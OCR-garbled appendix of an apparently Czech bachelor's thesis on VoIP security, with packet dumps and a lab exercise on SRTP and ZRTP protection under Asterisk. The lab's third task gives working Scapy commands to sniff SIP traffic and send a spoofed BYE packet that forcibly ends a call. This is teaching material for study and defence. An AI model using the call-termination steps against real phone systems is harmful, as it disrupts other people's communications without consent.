# User Datagram Protocol, Src Port: 11814 (11814), Dst Port: 5062 (5062)
= Real-Time Transport PFrotocol
F [5tream setup by SDP (frame 21)]

10.. .... = version: RFC 1889 version (2)
.0. .... = Padding: False
.0 .... = Extension: False
0000 = Contributing source identifiers count: O
0 = Marker: False

Payload type: ITU-T G.711 PcMa (8)

Sequence number: 4972

[Extended sequence number: 70508]

Timestamp: 2221104

synchronization Source identifier: 0x603d8déb (1614646635)

SRTP Encrypted Payload: FAFOF6659E052341A7B09370CEFB2ZE789C61643BB531C59F. ..
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A.4 Analyza ZRTP protokolu

® Frame 38 (174 bytes on wire, 174 bytes captured)

# Ethernet II, sSrc: Giga-Byt_5l:ed:41 (00:1a:4d:51:ed:41), Dst: Giga-Byt_52:4b:98 (00:1a:4d:52:4b:98)
® Internet Protocol, Src: 192.168.10.116 (192.168.10.116 Dst: 192.168.10.115 (192.168.10.115

F User Datagram Protocol, 5rc Port: irdmi (8000), Dst Port: 8004 (8004)

00.. .... = RTP version: 0
.0. .... = RTP padding: False
.1 .... = RTP Extension: True

Sequence: 41011
Magic Cookie: ZRTP
Source Identifier: Ox78cc4864
= Message
signature: 0x505a
Length: 29
Type: Commit
2 Data
Hash Image: 71D3D2300944EAD678924173933E46FC562A0E4AFADO4DEL. . .
ZID: 6B697A7SDBED1F16CDBEA4CT
Hash: SHA-236 Hash
Cipher: AES-CM with 128 bit keys
Auth tag: HMAC-5HAL1 32 bit authentication tag
Key agreement: DH mode with p=3072 bit prime
SAS type: Short authentication string using base 256
hvi: FAD43FOCDIDIDEFD49CECE2FI589F6589BC2BB6BEGL03CDE. . .
HMAC: 25E2DF3287990657
@ Checksum: 0xb43fb3b9 [correct]
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B  Analyza nasilného ukonceni a presmérovani hovoru

B.1 Analyza ACK paketu

###H# Ethernet |###
dst= 00:1a:4d:4d:92:43
src= 00:1a:4d:51:ed:41
type= 0x800
HHH] |P #HH
version= 4L
ihl= 5L
tos= 0x0
len= 520
id=0
flags= DF
frag= OL
ttl= 64
proto= udp
chksum= Oxa2b1
src= 192.168.10.116
dst=192.168.10.111
options="
#iH UDP ###
sport= sip_tls
dport= sip
len= 500
chksum= 0x919c
#iH Raw J#H#H#
load="ACK sip:200@192.168.10.111 SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.10.116:5061;branch=z9nG4bK-d8754z-8676cb0e29e5e 1f3-1---d8754 z-;rport\r\nMax-
Forwards: 70\r\nContact:
<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6c5;transport=UDP>\r\nTo:
"200"<sip:200@192.168.10.111>;tag=as0c9b622f\r\nFrom:
<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6c5;transport=UDP>;tag=28e5e673\r\nC
all-ID: 3d07e30f70bb20e320fcd7e2066dba06@192.168.10.111\r\nCSeq: 2 ACK\r\nUser-Agent:
Zoiper rev.5415\r\nContent-Length: O\r\n\r\n'
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B.2 Analyza BYE paketu

HHE P |3
version= 4
ihl=0
tos= 0x0
len=0
id=1
flags=
frag=0
ttl= 64
proto= udp
chksum= 0x0
src= 192.168.10.115
dst=192.168.10.111
options="
#i#[ UDP J###
sport= sip
dport= sip
len=0
chksum= 0x0
#H Raw J###

load='BYE sip:200@192.168.10.111 SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.10.116:5061;branch=z9nG4bK-d8754z-8676cb0e29e5e1f3-1---d8754z-;rport\r\nMax-

Forwards: 70\r\nContact:

<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6¢5;transport=UDP>\r\nTo:
200<sip:200@192.168.10.111>;tag=as0c9b622\r\nFrom:
<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6c5;transport=UDP>;tag=28e5e673\r\nC
all-ID: 3d07e30f70bb20e320fcd7e2066dbal6@192.168.10.111\r\nCSeq: 3 BYE\r\nUser-Agent:
Zoiper rev.5415\r\nContent-Length: O\r\n\r\n'
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B.3 Analyza a zména INVITE paketu

Pivodni paket INVITE

p[1].show

<bound method Ether.show of <Ether dst=00:0c:29:83:92:20 src=00:1a:4d:52:4b:98 type=0x800
[<IP version=4L ihl=5L tos=0x0 len=895 id=0 flags=DF frag=0L ttl=64 proto=udp chksum=0xa1a6
src=192.168.10.115 dst=192.168.10.4 options=" |[<UDP sport=sip_tls dport=sip len=875
chksum=0x356e |<Raw load="INVITE sip:100@192.168.10.4;transport=UDP SIP/2.0\r\nVia:
SIP/2.0/UDP 192.168.10.115:5061;branch=z9nG4bK-d8754z-5e0103678cc98fcd-1---d8754z-
;rport\rinMax-Forwards: 70\r\nContact: <sip:200@192.168.10.115:5061;transport=UDP>\r\nTo:
<sip:100@192.168.10.4;transport=UDP>\r\nFrom:
"200"<sip:200@192.168.10.4;transport=UDP>;tag=1bf7da30\r\nCall-ID:
YjhkNTMzZTc2NzVmYmVIMTUXNTASNzhhZjMONTBhMjg.\r\nCSeq: 1 INVITE\r\nAllow: INVITE,
ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\r\nContent-
Type: application/sdp\r\nUser-Agent: Zoiper rev.5415\r\nContent-Length: 308\r\n\r\nv=0\r\no=Z 0 0
IN IP4 192.168.10.115\r\ns=Z2\r\nc=IN IP4 192.168.10.115\r\nt=0 O\r\nm=audio 8000 RTP/AVP 3
110 98 8 0 101\r\na=rtpmap:3 GSM/8000\r\na=rtpmap:110 speex/8000\r\na=rtpmap:98
iLBC/8000\r\na=fmtp:98 mode=30\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0
PCMU/8000\r\na=rtpmap:101 telephone-event/8000\r\na=fmtp:101 0-15\r\na=sendrecv\r\n’

Zménény paket INVITE

>>> raw=Raw(load="INVITE sip:100@192.168.10.4;transport=UDP SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.10.115:5061;branch=z9hG4bK-d8754z-5e0103678cc98fcd-1---d8754 z-;rport\r\nMax-
Forwards: 70\r\nContact: <sip:200@192.168.10.115:5061;transport=UDP>\r\nTo:
<sip:100@192.168.10.4;transport=UDP>\r\nFrom: 200
<sip:200@192.168.10.4;transport=UDP>;tag=1bf7da30\r\nCall-ID:
YjhkNTMzZTc2NzVmYmVIMTUXNTASNzhhZjMONTBhMjg.\r\nCSeq: 2 INVITE\r\nAllow: INVITE,
ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\r\nContent-
Type: application/sdp\r\nUser-Agent: Zoiper rev.5415\r\nContent-Length: 308\r\n\r\nv=0\r\no=Z 0 0
IN IP4 192.168.10.116\r\ns=Z\r\nc=IN IP4 192.168.10.116\r\nt=0 O\r\nm=audio 8000 RTP/AVP 3
110 98 8 0 101\r\na=rtpmap:3 GSM/8000\r\na=rtpmap:110 speex/8000\r\na=rtpmap:98
iLBC/8000\r\na=fmtp:98 mode=30\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0
PCMU/8000\r\na=rtpmap:101 telephone-event/8000\r\na=fmtp:101 0-15\r\na=sendrecv\r\n")
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C Navrh laboratorni ulohy

C.1 Laboratorni uloha — obrana pred odposlechem a nasilné ukonceni
hovoru ve VoIP s vyuzitim PBX Asterisk

Zadani:
1) Realizujte obranu odposlechu pomoci SRTP protokolu.
2) Realizujte obranu odposlechu pomoci ZRTP protokolu.
3) Realizujte ukonceni hovoru mezi dvéma komunikujicimi ucastniky.

Uvod

Vzhledem k tomu, Ze v dnesni dobé je pro komunikaci mezi uzivateli stale vice
vyuzivana technologie VoIP (Voice over Internet Protocol), ktera skytd mnoho kladnych,
ale 1 zapornych vlastnosti, mezi n¢ bezpochyby patii i odposlech a dalsi utoky, je tato
laboratorni uloha zamétena na realizaci obrany odposlechu a nésilného ukonceni hovoru
mezi dvéma uZzivateli v této technologii s vyuzitim PBX Asterisk. K samotné obrané
vyuzijeme zabezpeceni RTP protokolu pomoci SRTP a ZRTP protokolu, ktery rozsituje
SRTP protokol o vyménu klict implementaci Diffie-Hellmanova algoritmu v hlavi¢kach
RTP paketdh pro zabezpeceni pii vyméné symetrického klice. Vyhodou téchto
zabezpecenych protokolt je, ze v ptipad¢ odposlechu je z potizenych zdznamu slySet pouze
Sum. Laboratorni uloha je navrzena do operacniho systému linux (Ubuntu). Nastrojem pro
odposlech je pro oba ukoly program Wireshark. Jednotliva sitova nastaveni pracovist’ jsou
popsana na tabuli. Na obrazku 1.1 je zobrazena analyza nezabezpeceného paketu.

Dalsim realizovatelnym ttokem je nasilné ukonceni hovoru mezi dvéma uzivateli.
K tomuto utoku bude vyuzito programu Scapy a Wireshark. Princip samotné¢ho utoku je
zalozen na komunikaci SIP protokolu.

i hovor sip_1.peap - Wireshark
Be B8 jem G0 Cahee g gt Teepony fecs tep
@ F

O aew BX2E f++»a TR BE Al EERE B
Piier: = Dgresson.. Clea Acoh
M. + Time Source Destrsson Pratacel nfo o
9 2,954239 192,168.0.198 192,168,0.116 517 Status: 180 m:\q[;g
10 7. 966232 162.168.0,116 192.168.0.195 SIF status: 180 kinging
11 7.645982 152.168.0.158 192.168.0.116 51/50P Status: 200 oi, with sessfon description
12 7.651622 192,166, 0,116 192,168, 0.198 s Request: ALK 31pi2028152,168.0. 19815060
13 7. 654618 192, 168.0.116 192.168.0.185 SIP/50P Status: 200 of, with session description
14 7. 656297 162, 166. 0. 1595 “2 163. u 1186 i REQUESE: ACK 5Pt oelua 168 0.116
6.0, 158 L 1648, U, b P o i PLMU, JEGL Time.
16 7,720841 192, 168, 0,198 152.168.0.116 3 PT=ITU-T G711 POR, Sencooxitss, sw-?. Time=100
A7 T.727148 192, 168.0, 116 192,168, 0.195 RTE PT=ITU-T G.711 PCMU, SEAC=OxGEOABRAN, Seqeii7l5, Time=0, mar
18 7.727270 152.168.0.116 192.168.0.185 RTF PT-ITU-T G.711 PCMU, SSRE<OXESABBAD, Seq=337is, Times160
19 7. 734R%R 192 VRR.0L 195 192,168, 0.11h e PT=TTU-T A 717 POMIL SERC=0¥] 208, Seaell. Timsed

3

ytes on wire, 214 bytes captured)
® Cthernet IX, Src: Compalpl_f2:d7:fb (00:0F:b0:F2:d7:fb), Dst: veware_Bbi9c:29 (00:0¢:29:8b:9¢129)
# Internet Protocol, Src: 192.168.0,108 (182.168.0.198), ost: 192.168.0.116 (192.168.0.116)
= User Datagram Provccol, Src Pert: 10600 (10600, DSt Port: 16914 (16914)
Real-Time Transport Protecol
@ [stream setup by S0P (frame £)]
- version: kec 1849 versfon {2}
= Padding: False
coi0 ... = Extersion: False
.+ 0000 = contributing source fdentifiers count: o
Biiiais = Marker: False
wayload Type: ITu-T G.711 mcru (0)
sequence nusber: ¢
[Extended sequence nusber: 65536]
Timestamp: ©
s,.nrhmmnrinn source fdentifiar: 0x00007e62 (-}n 1)

3 00 : H
o040 (f8 11 fe fe A
P Frame (frame), 214 bytes Profie: Defaut

Obrazek 1 1 Analyza nezabezpeceného paketu
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Postup k ukolu 1

1) K samotné realizaci bude vyuzito softwarové ustiedny Asterisk, do které je potieba
doinstalovat libsrtp z: http:/srtp.sourceforge.net/download.html, po stazeni se balicek rozbali a
nainstaluje pomoci nasledujicich ptikazi:

.Jconfigure
make

make runtest
make install

2) Ptipadné je mozné si stahnout instalaci samotného Asterisku, kterd jiz libsrtp obsahuje
z odkazu, kde se vytvofi slozka asterisk-srtp:

http://svn.digium.com/svn/asterisk/team/group/srtp asterisk-srtp
a nainstalovat jej podle nésledujicich ptikaz:

cd asterisk-srtp

Jconfigure

make menuselect (nastaveni v "resource modules")
make

make install

3) Dale je tieba nastavit Uty sip.conf a extensions.conf. v samotném Asterisku.
sip.conf:

[general]
context=kontext1
bindport=5060
disallow=all
allow=alaw
srtpcapable=yes
language=en
canreinvite=no

[100]
type=friend
secret=asdf
username=100
host=dynamic
auth=md5
nat=yes

[200]
type=friend
secret=asdf
username=200
host=dynamic
auth=md>5
nat=yes
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extensions.conf

[kontext1]
exten => _XXX,1,Set (_SIPSRTP=${SIPPEER(${EXTEN},srtpcapable)})
exten => _XXX,n,Dial (SIP/${EXTEN})

4) Jako softwarovy klient je zvolen PhonerLite, ktery je jiz nainstalovany na pocitaci a staci
jej nakonfigurovat pro pfipojeni do Asterisku dle obrazku 1.2 a 1.3, kde je zobrazena
podpora Sifrovani pomoci SRTP.

& EF
| Logbook H Phonebook @% Configuration H_J_l Sbﬁsﬁcs‘
Profile

EeTT—
&3 Server Q User || i* Metwork || @i Codecs ” Cerh’ﬁcate|

Proxy/Registrar STUM server

|191.153.1 0.4 | | 192.168.10.4 |

| ke

Register Domain/Realm

300 | seconds 152.168.10.4 |
L 192,168, 10.4 V|ﬂ sip: 100@122. 163, 10,4 registered

Obrazek 1.2: Nastaveni pfipojeni do Asterisku

Loghbook. " Phonebook| % Configuration HM Smtish'cs|

Profile
Frrra—
| 33 Server " 9 User " i,* Metwork @i‘ Codecs Cerﬁﬁcahe|
Mc.711 A-Law, 64 kbps P8 Echo cancellation
w711 U-Law, &4 kbps | oms | 500 ms
vz Tz8-32, 32 kbps
v csm, 13 kbps —
V| iTEC 15 kbps |n0 silence detection v|
v| Speex, 15 kbps
| Gmacv WE 0 Tema [FlsrTe  [#]save  [¥IMOH  [¥]G.726 AAL2
A 192,168.10.4 V|O =ip:100@192, 168. 10.4 registered

Obrazek 1.3: Nastaveni Sifrovani SRTP
5) Pro analyzu je zvolen nainstalovany program Wireshark (http://www.wireshark.org). Po

spravném nastaveni se v programu po spusSténi analyzy objevi Sifrovany pfenos pomoci
SRTP protokolu viz. obrazek 1.4.
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peap - Wireshark
Fle Edt Yew Go Capture Analyze Stafistics Telephony Tooks Help

BEoee BRAXSE Aesd T L WEmE B
Fiter: [sporrip | = Expression... Clear Apply
Mo, - Time Source Destination Frotocol Info
13 5.043656 192.168.10.4 192.168.10.13 SIP/SDP Request: INVITE sip:100@€192.168.10.13:5060, with session des
14 5.045088 192.168.10.13 192.168.10.4 sIP Status: 100 Trying
15 5.049295 192.168.10.13 192.168.10.4 sIP Status: 180 Ringing
21 6.647140 192.168.10.4 SIP/SDP 200 0K, with session description
22 6.647966 192.168.10.13 sIP : ACK 51p:100@192.168.10.13:5060
6.659483 192.168.10.13 SRTP. SSRC=0X603D8DEB, Time=2220944
6. SSRC=0x57239A14,
27 6.678261 L
28 6.685002 . seq=7314,
29 6.697943 SSRC=0x603D8DEB, Seq=4973,
30 6.704513 SSRC=0x57239A14, sSeq=7315, Time=2208096 .,

&

Frame 25 (224 bytes on wire, 224 bytes captured)
Ethernet II, Src: CompalE]_f2:d7:fb (00:0F:b0:f2:d7:fb), Dst: Vmware_83:02:20 (00:0c:29:83:92:20)
Internet Protocol, Src: 192.168.10.13 (192.168.10.13), Dst: 192.168.10.4 (192.168.10.4)
User Datagram Protocol, Src Port: 5062 (5062), Dst Port: 11814 (11814)
Real-Time Transport Protocol
® [Stream setup by SDP (frame 13)]
10.. = version: RFC 1889 version (2)
padding: False
= Extension: False
: = contributing source identifiers count: 0
f PR = Marker: True
payload type: ITU-T G.711 PCMA (8)
Sequence number: 7313
[Extended sequence number: 72849]
Timestamp: 2207776
synchronization Source identifier: 0x57239al4 (1461950996)
SRTP Encrypted Payload: C17027580629523A73B8C6CC592D4226FABE7FA924DIB7AA. - .

T BEEBB

0030 ~
0040 ET
0050 5e 77 eb _
0060 28 79 6a ca aa fb 8Ff e7 7c 78 48 13 dc 11 ea

0070 €9 23 22 53 3c ee a2 77 ff fd 66 50 7a Od 7e &
nnan M 2 @2 0F 42 40 03 0o bo £2 o2 do 2 &0 |
() SRTP Encrypted Payioad (srtp.enc_payload), 17... | Packets: 306 Displayed: 267 Marked: 0 Profile: Default

Obrazek 1.4: Analyza programem Wireshark — SRTP zabezpeceni

Postup k ukolu 2

1) K realizaci toho zabezpeceni je zvolen program Zfone, ktery nainstalujete z:

zfoneproject.com

2) Vzhledem k tomu, Ze pfi instalaci se Zfone nainstaluje mezi u€astnika a ustfednu staci jej
pouze spustit.

3) Pro komunikaci opét vyuzijeme uzivatele z pfedchoziho zabezpeceni, kde odstranime
v souboru extensions.conf zabezpeceni SRTP.

4) Pro analyzu opét spustime program Wireshark, kde pfi navazani komunikace bude vidét
zabezpeceni dle obrazku 2.1, které je zobrazeno i v samotném zfone viz. obrazek 2.2.
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T hovor zfone.pcap - Wireshark

Ele Edit Vew Go Captwe Analyze Statistis Telephony Tools Help

BEges PEXSL e+ T2|EE QAP aBB % B
Fiter: |artp | = Expression... Clear Apply

No. - Time Source Destination Protocol Info

.168.
.168.

-168.10.115 ZRTP Hello Packet
.168.10. ZRTP Hello Packet

Hell0ACK Packet
192.168.10.116 ZRTP Commit Packet
E 5 Commit Packet
9 92. 10.115 192.168.10.116 ZRTP DHPartl Packet
651799 192.168.10.116 192.168.10.115 ZRTP DHPart2 packet

i RTP padding: False
«..1 .... = RTP Extension: True
sequence: 35043
Magic Cookie: zRTP
source Identifier: Ox78cc4864
= Message
signature: 0x505a
Length: 29
Type: Hello
Dpata
ZRTP protocol version: 1.10
client rdentifier: 1in zfoneec 0.92
Hash Image: 406E7AQ5SBAA7A45C686A124CE736FASDDEDT63EFDABEGEBS. . .
ZID: 6B697A75DBEDLFLECDBEAICT
2200 ... = MiTM: False
..0 .... = Passive: False
= Hash type count = 1
@ Cipher type count = 1
= auth tag count = 1

1f 40 1f 44 00 8c

o]

Hi =5
1.1014 n zfor

Profile: Default

Obrazek 2.1: Analyza programem Wireshark — ZRTP zabezpeceni

7] ZFone [=10x]]|

Zfone Edit Help ‘

|detecting...
Compare with partner:
cement

%
L] tobacco

a SECURE [B3
AUDIO Rx
Secure since:

2010/05/11 13:57

Secure J Clear J

B &) I detecting...
en

Obrazek 2.2: Program Zfone — zabeépeéeni pfenosu

Postup k ukolu 3

1) K realizaci tohoto utoku je zvolen programScapy, ktery nainstalujete z:

http://www.secdev.org/projects/scapy/

2) Program spust’te v termindlu piikazem scapy a objevi se nasledujici:

>>> Welcome to Scapy
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Poté ihned navazte komunikaci pomoci softwarového klienta Zoiper (ten je jiz
nainstalovany na pocitaci) mezi jednotlivymi dvéma uzivateli.

3) Pro odchyceni pakett pfi komunikaci mezi dvéma uZzivateli zadejte nasledujici ptikaz:
>>> p=sniff(filter="udp and port 5060")

4) Po chvili odchyceni pteruste a nasledujicim ptikazem zobrazte odchycené pakety:
>>>p.show()

poptipadé zvoleny paket:

>>>p[x].show(), x = €islo zvoleného paketu

5) Najdéte vhodny paket INVITE a vytvoite zkopirovanim obsahu pole Raw a zménou
hodnoty ACK na BYE paket BYE viz. ptiklad:

raw=Raw(load="BYE sip:200@192.168.10.111 SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.10.116:5061;branch=z9nG4bK-d8754z-8676cb0e29e5e 1f3-1---d8754 z-;rport\r\nMax-
Forwards: 70\r\nContact:

<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6¢5;transport=UDP>\r\nTo:
200<sip:200@192.168.10.111>;tag=as0c9b622f\r\nFrom:
<sip:100@192.168.10.116:5061;rinstance=a082964 7fcdfe6¢5;transport=UDP>;tag=28e5e673\r\nC
all-ID: 3d07e30f70bb20e320fcd7e2066dbal06@192.168.10.111\r\nCSeq: 3 BYE\r\nUser-Agent:
Zoiper rev.5415\r\nContent-Length: 0\r\n\r\n")

6) Dale v paketu zménte zdrojovou i cilovou adresu serveru i Gto¢nika (odkud provadite
utok) viz. ptiklad:

>>> paket=IP(src="192.168.10.115",dst="192.168.10.111")/UDP(sport=5060,dport=5060)/raw
7) Nakonec zaslete paket do sit¢ jednoduchym piikazem:
>>> send(paket)

8) V programu Wireshark mtizete vidét odeslany paket BYE obrazek 3.1 a na jednom ze
softwarovych klientil, pomoci kterych bylo uskute¢néno spojeni, se objevi pieruseni:
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Be Bt Yem [o Caohre joaher fetsbo Tdeheny Joos e
B EEXTE A+ra¥ld BE QM EMME H

Fre v * Egremen. Ot Awly

Mo, - Trme:
11626 113. 295575
11827 113. 304842
11639 113, 315700

11630 113. 323795

092 333927
1

11836 113, 316422
11637 113. 355336
naa e &
Frame 11632 (532 bytes on wire, 332 bytes captured)
Etherngt II, 5rc: Giga-Byt_¥lied:dl (00:1a:4d:51:ediql), Dsti Giga-Byt_£d:52:43 (00:1a:4d:4d:92:43)
Internet Protocol, Sre: 192.168.10.115 (152.168,10.115), DST: 192.168.10.111 (152,168.10,111)
uUser Datagram Protocol, Sro kort: sip (50603, ost Port: sip (S060)

Source port: sip (5060)

oestinatien port: sip (50600

Length: 488
# Checksum: 0x92c? [validation disabled]

i fa 1

WEEE

W Message Header
= Sessfon Initiation Protocol (SIF as raw text)
BYE s1p:2000192.168.10.111 §IP/2.0%r\n

wia: 0P 192, 166.10.116:5061; branch-29hGibK-o67 $42-8676cb0eloe5elf I-1---dE7 54z-;rporT rin
Max-Forwards At
contact: 1008162, 168,10, 1161 S061; rinst ance=10825647f cdf 6653 transpor tUDFs\rin

2009192, 165.10.111>: tag=asocobs22fr'in
From: <siprl008192. 168.10,116: 50611 rinstance=a0s2 9647 Fedf e65: transpor t=Ulis; tag=28e5e67 30
call-10: 3d07e30FT0bb20e320f cdTe2066dba0GR152. 166. 10,111 r\n

cseq: 3 EYELELN
usEr-AGENT: Zoiper rev.5415\.rn o
0020 6f 13 c2 13 ca o0 f2 92 c2 EN -~
0030 Ja 50 30 40 31 Te
0040
0050 a 33 50
0080 e 51 36 38 Je 0L &
AnTA  3E 3V 3% E3 73 R £~ R3 _Ee 34 %a 38 2@ 11 33 E3

Profie: Defaut

SIP Flequest-Line (50 RequestLne], 36 bytes Pachets: 13917 Daplaved: 15530 Marked: 0

Obrazek 3.1: Program Wireshark — analyza ukonceni hovoru

Vypracovani

Jednotlivé ukoly ze zadani vypracujte do piehledného protokolu, kde bude jednoznacné
vidét nastaveni ustfedny Asterisk (sip.conf a extensions.conf) a analyza programem
Wireshark (SRTP, ZRTP protokol a odeslany paket, ktery ukoncil komunikaci).
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Prilozené CD

Elektronicka verze bakalarské prace ve formatu pdf
Analyza hovort programu Wireshark ve formatu pcap
hovor iax2_1.pcap

hovor iax2s_1.pcap

hovor sip_1.pcap

hovor sipsrtp _1.pcap

hovor sipzrtp _1.pcap

pfesmérovani.pcap

ukonceni hovoru.pcap

Soubory odchycenych hovorii ve formatu au
iax2.au

sip.au

Soubory volné dostupnych programt
eyeBeam.exe

gizmo5.exe

phonerlitesetup.exe

qutecom.exe

scapy-1.1.1.tar.gz

sip comunicator.exe

voxOne.exe

wireshark-win32-1.2.8.exe

zfone.tar

zoiper.exe

Soubory do Asterisku

srtp-1.4.2.tgz
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